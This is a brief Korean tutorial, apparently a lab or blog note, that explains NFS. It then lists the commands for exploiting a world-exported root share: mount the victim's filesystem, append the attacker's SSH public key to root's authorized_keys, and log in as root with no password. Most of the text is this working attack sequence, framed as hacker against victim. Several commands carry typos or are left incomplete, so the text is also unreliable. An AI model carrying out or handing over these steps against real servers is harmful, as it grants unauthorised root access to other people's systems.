
NFS 취약점 공격
■ NFS 개념

- 컴퓨터 사용자의 원격지 컴퓨터에 있는 파일을 자신의 컴퓨터를 사용하는 것처럼 설정 가능하게 해주는 클라이언트/서버형 응용프로그램
■ NFS 취약점 공격
- nfs-utils 설치
code
# yum install -y nfs-utils- "/" Directory NFS 설정
code
# vim /etc/exports
# exportfs -
# exportfs- showmount 설치
code
# apt-get install -y nfs-common- IP 정보 출력
code
# showmiunt -e "ip"- NFS Directory Mount 작업
code
# mount -t nfs "ip":/ /"target dir"
# ls /"target dir"- ssh-keygen 생성
code
# ssh-keygen- 생성된 SSH Keygen -> root SSH 키 파일 추가
code
# cat .ssh/id_rsa.pub >> /"target dir"/root/ .ssh/authorized_keys
# ummount /"target dir"- SSH 접속 확인
code
# ssh root@"target IP"쉘 접속 결과 HACKER 가 갖는 KEYGEN에 VICTIM KEYGEN 파일에 추가되어 비밀번호 없이 쉘 접속이 가능해진다.
